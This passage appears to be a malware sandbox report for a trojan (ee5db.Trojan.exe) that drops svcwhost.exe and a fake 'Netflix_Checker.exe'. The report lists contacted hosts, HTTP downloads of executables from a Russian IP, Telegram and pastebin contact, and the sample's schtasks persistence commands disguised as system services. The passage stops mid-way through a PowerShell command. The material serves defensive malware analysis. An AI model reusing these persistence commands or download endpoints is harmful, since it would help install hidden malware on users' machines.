1F:77:5F:20:C5:D3:BD:67:DE:E8:07:9B:59:1D:22:E9:C0:E4:52:4B; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 27:AC:93:69:FA:F2:52:07:BB:26:27:CE:FA:CC:BE:4E:F9:C3:19:B8; see report for more information) The input sample is signed with a certificate issued by "OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group Inc.", C=US" (SHA1: 34:0B:28:80:F4:46:FC:C0:4E:59:ED:33:F5:2B:3D:08:D6:24:29:64; see report for more information) The input sample is signed with a certificate issued by "OU=Go Daddy Class 2 Certification Authority, O="The Go Daddy Group Inc.", C=US" (SHA1: 27:96:BA:E6:3F:18:01:E2:77:26:1B:A0:D7:77:70:02:8F:20:EE:E4; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: 82:49:C5:04:9A:BD:A9:C1:AB:4D:FF:95:B9:94:74:CC:40:BC:09:7F; see report for more information)4a:T522,"Software\Microsoft\Windows\CurrentVersion\Run" in Source: ee5db. Trojan.exe "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006396.00000000.123897.026A0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006396.00000000.123897.026A0000.00000004.mdmp "To enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006396.00000000.123897.026A0000.00000004.mdmp 00000000-00006396.00000000.123897.04820000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00006396.00000000.123897.04820000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00006396.00000000.123897.04820000.00000004.mdmp "Software\Microsoft\.NETFramework" in Source: 00000000-00006396.00000000.123897.04820000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework" in Source: 00000000-00006396.00000000.123897.04820000.00000004.mdmp "To turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006396.00000000.123897.04820000.00000004.mdmp4b:T967,"ee5db.Trojan.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "ee5db.Trojan.exe" trying to access non-existent file "C:\FLTLIB.DLL" "svcwhost.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\WININET.DLL" "svcwhost.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\FLTLIB.DLL" "svcwhost.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\SSPICLI.DLL" "svcwhost.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\SspiCli.dll" "svcwhost.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\{3E3CE09031442691943543}\{3E3CE09031442691943543}.EXE" "svcwhost.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\SCHTASKS.EXE" "svcwhost.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\schtasks.exe" "svcwhost.exe" trying to access non-existent file "C:\schtasks.exe" "svcwhost.exe" trying to access non-existent file "schtasks.exe" "Netflix_Checker.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "Netflix_Checker.exe" trying to access non-existent file "C:\FLTLIB.DLL" "Netflix_Checker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\CLR.DLL" "Netflix_Checker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\MSCORWKS.DLL" "Netflix_Checker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\CLR.DLL" "Netflix_Checker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\MSCORWKS.DLL" "Netflix_Checker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CLR.DLL" "Netflix_Checker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "Netflix_Checker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.dll" "Netflix_Checker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\UCRTBASE_CLR0400.DLL" "Netflix_Checker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ucrtbase_clr0400.dll" "Netflix_Checker.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSCOREE.DLL"4c:T465,Found string "etdb.mdf;User Instance=true" providerName="System.Data.SqlClient"/>" (Indicator: "System.Data.SqlClient"; Source: "00000000-00006016.00000000.82441.00480000.00000004.mdmp 00000000-00006016.00000001.82692.00480000.00000004.mdmp"), Found string "" (Indicator: "System.Data.SqlClient"; Source: "00000000-00006016.00000000.82441.00480000.00000004.mdmp 00000000-00006016.00000000.82441.01D20000.00000004.mdmp 00000000-00006016.00000001.82692.01D20000.00000004.mdmp"), Found string "System.Data.SqlClient" (Indicator: "System.Data.SqlClient"; Source: "00000000-00006016.00000000.82441.01D20000.00000004.mdmp 00000000-00006016.00000001.82692.01D20000.00000004.mdmp"), Found string ";Integrated Security=SSPI;AttachDBFilename=|DataDirectory|aspnetdb.mdf;User Instance=true" providerName="System.Data.SqlClient"/>" (Indicator: "System.Data.SqlClient"; Source: "00000000-00006016.00000001.82692.00480000.00000004.mdmp")18:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$20"}}],["$","$L21",null,{"initialData":{"activity":{"behavior_tags":null,"file_activity":{"dropped_files":[],"extracted_files":[{"name":"Service_Microsoft.exe.bin","sha256":"4da3bff89fc796886ca615a29a2595c4109f86fff2a9e699ea1036195719cb3b","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"verdict":"undetected"},{"name":"svcwhost.exe","sha256":"2caf9c731aed0499a13f7d8ebfb0a12f67a554b8e101f0f888be4b186cd512d8","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"verdict":"undetected"},{"name":"Netflix_Checker.exe","sha256":"c3f4c76a40d840e4026cc1a0a653171b7036fa213ffcd5c2a0ddfeef7479b76a","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"verdict":"undetected"}],"files_deleted":[],"files_written":[{"path":"%TEMP%\\TH7A53.tmp","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"path":"%APPDATA%\\svcwhost.exe","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"path":"C:\\Netflix_Checker.exe","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"path":"%APPDATA%\\{3E3CE09031442691943543}\\{3E3CE09031442691943543}.exe","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]}]},"mutex_activity":{"mutex_created":[{"name":"SM0:6396:168:WilStaging_02","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"name":"Local\\SM0:6396:168:WilStaging_02","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex","sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"name":"SM0:6396:64:WilError_01","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]}]},"network_activity":{"contacted_hosts":[{"address":"149.154.167.220","country":"United Kingdom","port":443,"protocol":"TCP","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"address":"172.67.19.24","country":"United States","port":443,"protocol":"TCP","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"address":"176.111.174.140","country":"Russian Federation","port":80,"protocol":"TCP","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"address":"176.111.174.140","country":"Russian Federation","port":7707,"protocol":"TCP","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"address":"176.111.174.140","country":"Russian Federation","port":8808,"protocol":"TCP","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"address":"104.16.184.241","country":"United States","port":80,"protocol":"TCP","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"address":"172.67.196.114","country":"United States","port":443,"protocol":"TCP","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]}],"dns_resolutions":[{"address":"104.16.184.241","country":"United States","domain":"icanhazip.com","registrar_creation_date":"2009-07-31T00:00:00+00:00","registrar_name":"Google Inc.","registrar_name_servers":"DARA.NS.CLOUDFLARE.COM","registrar_organization":"Contact Privacy Inc. Customer 124839835","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"ttl":300},{"address":"172.67.19.24","country":"United States","domain":"pastebin.com","registrar_creation_date":"2002-09-03T00:00:00+00:00","registrar_name":"ENOM, INC.","registrar_name_servers":"SUE.NS.CLOUDFLARE.COM","registrar_organization":"WHOISGUARD, INC.","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"ttl":300},{"address":"172.67.196.114","country":"United States","domain":"api.mylnikov.org","registrar_creation_date":"2010-09-25T14:43:40+00:00","registrar_name":"Moniker Online Services LLC","registrar_name_servers":"GUY.NS.CLOUDFLARE.COM","registrar_organization":"RCOKOiIT","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"ttl":300},{"address":"149.154.167.220","country":"United Kingdom","domain":"api.telegram.org","registrar_creation_date":"2003-12-15T14:48:05+00:00","registrar_name":"GoDaddy.com, LLC","registrar_name_servers":"NS-CLOUD-B1.GOOGLEDOMAINS.COM","registrar_organization":"Domains By Proxy, LLC","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"ttl":66}],"http_requests":[{"header":"GET /schuste.exe HTTP/1.1\nHost: 176.111.174.140\nPragma: no-cache\nContent-type: text/html\nConnection: close\nUser-Agent: Diamotrix","host":"176.111.174.140","host_ip":"176.111.174.140:80","method":"GET","response_code":"200","response_phrase":"OK","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"url":"/schuste.exe"},{"header":"GET /event.php HTTP/1.1\nUser-Agent: Mozilla/5.0\nHost: 176.111.174.140\nCache-Control: no-cache","host":"176.111.174.140","host_ip":"176.111.174.140:80","method":"GET","response_code":"200","response_phrase":"OK","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"url":"/event.php"},{"header":"GET /api/update.pack HTTP/1.1\nUser-Agent: NIKMOK\nHost: 176.111.174.140\nCache-Control: no-cache","host":"176.111.174.140","host_ip":"176.111.174.140:80","method":"GET","response_code":"200","response_phrase":"OK","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"url":"/api/update.pack"},{"header":"GET /api/update2.pack HTTP/1.1\nUser-Agent: NIKMOK\nHost: 176.111.174.140\nCache-Control: no-cache","host":"176.111.174.140","host_ip":"176.111.174.140:80","method":"GET","response_code":"200","response_phrase":"OK","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"url":"/api/update2.pack"},{"header":"POST /api.php?{A068533DBF09758809014} HTTP/1.1\nHost: 176.111.174.140\nPragma: no-cache\nContent-type: text/html\nConnection: close\nUser-Agent: Diamotrix","host":"176.111.174.140","host_ip":"176.111.174.140:80","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"url":"/api.php?{A068533DBF09758809014}"},{"header":"GET / HTTP/1.1\nHost: icanhazip.com\nConnection: Keep-Alive","host":"icanhazip.com","host_ip":"104.16.184.241:80","method":"GET","response_code":"200","response_phrase":"OK","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"url":"/"},{"header":"GET /PPGcgnyW.exe HTTP/1.1\nHost: 176.111.174.140\nPragma: no-cache\nContent-type: text/html\nConnection: close\nUser-Agent: Diamotrix","host":"176.111.174.140","host_ip":"176.111.174.140:80","method":"GET","response_code":"200","response_phrase":"OK","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"url":"/PPGcgnyW.exe"},{"header":"GET /nikzbi.exe HTTP/1.1\nHost: 176.111.174.140\nPragma: no-cache\nContent-type: text/html\nConnection: close\nUser-Agent: Diamotrix","host":"176.111.174.140","host_ip":"176.111.174.140:80","method":"GET","response_code":"200","response_phrase":"OK","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"url":"/nikzbi.exe"}]},"process_activity":{"all_imported_dlls":["Microsoft.VisualBasic.ni.dll","api-ms-win-core-file-l2-1-0.dll","wininet.dll","cryptsp.dll","api-ms-win-crt-heap-l1-1-0.dll","fltLib.dll","clbcatq.dll","diasymreader.dll","api-ms-win-crt-utility-l1-1-0.dll","wow64.dll","SHCore.dll","VxSSL64.dll","powrprof.dll","ole32.dll","ws2_32.dll","rpcrt4.dll","msctf.dll","wow64win.dll","comctl32.dll","clrjit.dll","System.ni.dll","ntdll.dll","KernelBase.dll","Accessibility.dll","api-ms-win-crt-locale-l1-1-0.dll","nlssorting.dll","api-ms-win-core-timezone-l1-1-0.dll","vcruntime140_clr0400.dll","System.Runtime.Remoting.dll","advapi32.dll","api-ms-win-crt-stdio-l1-1-0.dll","imm32.dll","combase.dll","xmllite.dll","shlwapi.dll","dwmapi.dll","version.dll","user32.dll","vcruntime140.dll","System.Xml.ni.dll","sechost.dll","System.Core.ni.dll","bcryptprimitives.dll","kernel.appcore.dll","profapi.dll","kernel32.dll","System.Windows.Forms.ni.dll","clr.dll","windows.storage.dll","oleaut32.dll","api-ms-win-core-file-l1-2-0.dll","nsi.dll","System.Runtime.Remoting.ni.dll","api-ms-win-crt-time-l1-1-0.dll","msvcp_win.dll","ucrtbase.dll","api-ms-win-core-synch-l1-2-0.dll","api-ms-win-core-xstate-l2-1-0.dll","api-ms-win-crt-environment-l1-1-0.dll","api-ms-win-crt-filesystem-l1-1-0.dll","api-ms-win-core-processthreads-l1-1-1.dll","msvcrt.dll","gdi32.dll","ucrtbase_clr0400.dll","cfgmgr32.dll","mscoreei.dll","usp10.dll","api-ms-win-core-localization-l1-2-0.dll","win32u.dll","bcrypt.dll","psapi.dll","taskschd.dll","msvcp140.dll","rsaenh.dll","uxtheme.dll","System.Drawing.dll","cryptbase.dll","System.Configuration.ni.dll","System.Drawing.ni.dll","api-ms-win-crt-math-l1-1-0.dll","lpk.dll","gdi32full.dll","mscoree.dll","wow64cpu.dll","apphelp.dll","api-ms-win-crt-runtime-l1-1-0.dll","api-ms-win-crt-string-l1-1-0.dll","mscorrc.dll","api-ms-win-crt-convert-l1-1-0.dll","VxSSL32.dll","ntmarta.dll","Microsoft.VisualBasic.dll","System.Windows.Forms.dll","mscorlib.ni.dll","shell32.dll","sspicli.dll"],"processes":[{"command_line":"","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII=","name":"ee5db.Trojan.exe","normalized_path":"C:\\ee5db.Trojan.exe","pid":4344,"ppid":0,"sha256":"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae","uid":"00000000-00004344"},{"command_line":"","name":"svcwhost.exe","normalized_path":"%APPDATA%\\svcwhost.exe","parent_uid":"00000000-00004344","pid":5968,"ppid":4344,"sha256":"2caf9c731aed0499a13f7d8ebfb0a12f67a554b8e101f0f888be4b186cd512d8","uid":"00000000-00005968"},{"command_line":"schtasks /create /tn \"SystemServicesTools\" /tr \"%APPDATA%\\{3E3CE09031442691943543}\\{3E3CE09031442691943543}.exe\" /sc onstart /f","name":"schtasks.exe","normalized_path":"%WINDIR%\\SYSTEM32\\schtasks.exe","parent_uid":"00000000-00005968","pid":4584,"ppid":5968,"sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","uid":"00000000-00004584"},{"command_line":"-u -p 5968 -s 556","name":"WerFault.exe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","parent_uid":"00000000-00005968","pid":4492,"ppid":5968,"sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","uid":"00000000-00004492"},{"command_line":"","name":"Netflix_Checker.exe","normalized_path":"C:\\Netflix_Checker.exe","parent_uid":"00000000-00004344","pid":6396,"ppid":4344,"sha256":"c3f4c76a40d840e4026cc1a0a653171b7036fa213ffcd5c2a0ddfeef7479b76a","uid":"00000000-00006396"},{"command_line":"-u -p 6396 -s 1072","name":"WerFault.exe","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00006396","pid":4956,"ppid":6396,"sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","uid":"00000000-00004956"},{"command_line":"-u -p 6396 -s 1072","name":"WerFault.exe","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00006396","pid":8036,"ppid":6396,"sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","uid":"00000000-00008036"},{"command_line":"-pss -s 440 -p 6396 -ip 6396","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII=","name":"WerFault.exe","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","pid":4356,"ppid":0,"sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","uid":"00000000-00004356"},{"command_line":"-pss -s 508 -p 5968 -ip 5968","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII=","name":"WerFault.exe","normalized_path":"%WINDIR%\\system32\\WerFault.exe","pid":4000,"ppid":0,"sha256":"0476d175606aac098363c328166a33f85b7efc2d0be82c0d80ba406113affbfe","uid":"00000000-00004000"},{"command_line":"","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII=","name":"?3E3CE09031442691943543?.exe","normalized_path":"%APPDATA%\\{3E3CE09031442691943543}\\{3E3CE09031442691943543}.exe","pid":8620,"ppid":0,"sha256":"2caf9c731aed0499a13f7d8ebfb0a12f67a554b8e101f0f888be4b186cd512d8","uid":"00000000-00008620"},{"command_line":"schtasks /create /tn \"SystemServicesTools\" /tr \"%APPDATA%\\{A068533DBF09758809014}\\{A068533DBF09758809014}.exe\" /sc onstart /f","name":"schtasks.exe","normalized_path":"%WINDIR%\\SYSTEM32\\schtasks.exe","parent_uid":"00000000-00008620","pid":7672,"ppid":8620,"sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","uid":"00000000-00007672"},{"command_line":"","name":"relog.exe","normalized_path":"%WINDIR%\\system32\\relog.exe","parent_uid":"00000000-00008620","pid":2932,"ppid":8620,"sha256":"304022e2a3eca8e9b8e1679432ed6eaefc460e4dae21de6dc6eb798463410b3f","uid":"00000000-00002932"},{"command_line":"schtasks /create /tn \"hrxmx1BJRn\" /tr \"%APPDATA%\\Adobe\\Service_Adobe.exe\" /sc onstart /f","name":"schtasks.exe","normalized_path":"%WINDIR%\\system32\\schtasks.exe","parent_uid":"00000000-00002932","pid":696,"ppid":2932,"sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","uid":"00000000-00000696"},{"command_line":"schtasks /create /tn \"kDZOKqN6ld\" /tr \"%APPDATA%\\Identities\\Service_Identities.exe\" /sc onstart /f","name":"schtasks.exe","normalized_path":"%WINDIR%\\system32\\schtasks.exe","parent_uid":"00000000-00002932","pid":5660,"ppid":2932,"sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","uid":"00000000-00005660"},{"command_line":"schtasks /create /tn \"kDZOKqN6ld\" /tr \"%APPDATA%\\Macromedia\\Service_Macromedia.exe\" /sc onstart /f","name":"schtasks.exe","normalized_path":"%WINDIR%\\system32\\schtasks.exe","parent_uid":"00000000-00002932","pid":4988,"ppid":2932,"sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","uid":"00000000-00004988"},{"command_line":"schtasks /create /tn \"kDZOKqN6ld\" /tr \"%APPDATA%\\Microsoft\\Service_Microsoft.exe\" /sc onstart /f","name":"schtasks.exe","normalized_path":"%WINDIR%\\system32\\schtasks.exe","parent_uid":"00000000-00002932","pid":7376,"ppid":2932,"sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","uid":"00000000-00007376"},{"command_line":"schtasks /create /tn \"kDZOKqN6ld\" /tr \"%APPDATA%\\Mozilla\\Service_Mozilla.exe\" /sc onstart /f","name":"schtasks.exe","normalized_path":"%WINDIR%\\system32\\schtasks.exe","parent_uid":"00000000-00002932","pid":5884,"ppid":2932,"sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","uid":"00000000-00005884"},{"command_line":"schtasks /create /tn \"kDZOKqN6ld\" /tr \"%APPDATA%\\Sun\\Service_Sun.exe\" /sc onstart /f","name":"schtasks.exe","normalized_path":"%WINDIR%\\system32\\schtasks.exe","parent_uid":"00000000-00002932","pid":5868,"ppid":2932,"sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","uid":"00000000-00005868"},{"command_line":"schtasks /create /tn \"kDZOKqN6ld\" /tr \"%APPDATA%\\Wireshark\\Service_Wireshark.exe\" /sc onstart /f","name":"schtasks.exe","normalized_path":"%WINDIR%\\system32\\schtasks.exe","parent_uid":"00000000-00002932","pid":8856,"ppid":2932,"sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","uid":"00000000-00008856"},{"command_line":"schtasks /create /tn \"kDZOKqN6ld\" /tr \"%APPDATA%\\{3E3CE09031442691943543}\\Service_{3E3CE09031442691943543}.exe\" /sc onstart /f","name":"schtasks.exe","normalized_path":"%WINDIR%\\system32\\schtasks.exe","parent_uid":"00000000-00002932","pid":9000,"ppid":2932,"sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","uid":"00000000-00009000"},{"command_line":"schtasks /create /tn \"kDZOKqN6ld\" /tr \"%APPDATA%\\{A068533DBF09758809014}\\Service_{A068533DBF09758809014}.exe\" /sc onstart /f","name":"schtasks.exe","normalized_path":"%WINDIR%\\system32\\schtasks.exe","parent_uid":"00000000-00002932","pid":8420,"ppid":2932,"sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","uid":"00000000-00008420"},{"command_line":"","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII=","name":"492C.tmp.PPGcgnyW.exe","normalized_path":"%TEMP%\\492C.tmp.PPGcgnyW.exe","pid":6496,"ppid":0,"sha256":"70c6d555938fdc95c03f98a7a3a37b607d1dce623663479082c5b9514caa04fd","uid":"00000000-00006496"},{"command_line":"/c schtasks /create /f /sc onlogon /rl highest /tn \"svchost\" /tr '\"%APPDATA%\\svchost.exe\"' & exit","name":"cmd.exe","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00006496","pid":5012,"ppid":6496,"sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","uid":"00000000-00005012"},{"command_line":"schtasks /create /f /sc onlogon /rl highest /tn \"svchost\" /tr '\"%APPDATA%\\svchost.exe\"'","name":"schtasks.exe","normalized_path":"%WINDIR%\\SysWOW64\\schtasks.exe","parent_uid":"00000000-00005012","pid":7128,"ppid":5012,"sha256":"42661ab5aa20d0973113e10c53b988cab16e9f7ffe91c70ca69bb65d4eeb6fb8","uid":"00000000-00007128"},{"command_line":"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\tmp62BF.tmp.bat\"\"","name":"cmd.exe","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00006496","pid":7832,"ppid":6496,"sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","uid":"00000000-00007832"},{"command_line":"timeout 3","name":"timeout.exe","normalized_path":"%WINDIR%\\SysWOW64\\timeout.exe","parent_uid":"00000000-00007832","pid":2408,"ppid":7832,"sha256":"35a2d2fc8f5b0baf4dbc489acd24229c0092ff56def50aa3e0043626bc25117f","uid":"00000000-00002408"},{"command_line":"","name":"svchost.exe","normalized_path":"%APPDATA%\\svchost.exe","parent_uid":"00000000-00007832","pid":1480,"ppid":7832,"sha256":"70c6d555938fdc95c03f98a7a3a37b607d1dce623663479082c5b9514caa04fd","uid":"00000000-00001480"},{"command_line":"/c start /b powershell –ExecutionPolicy 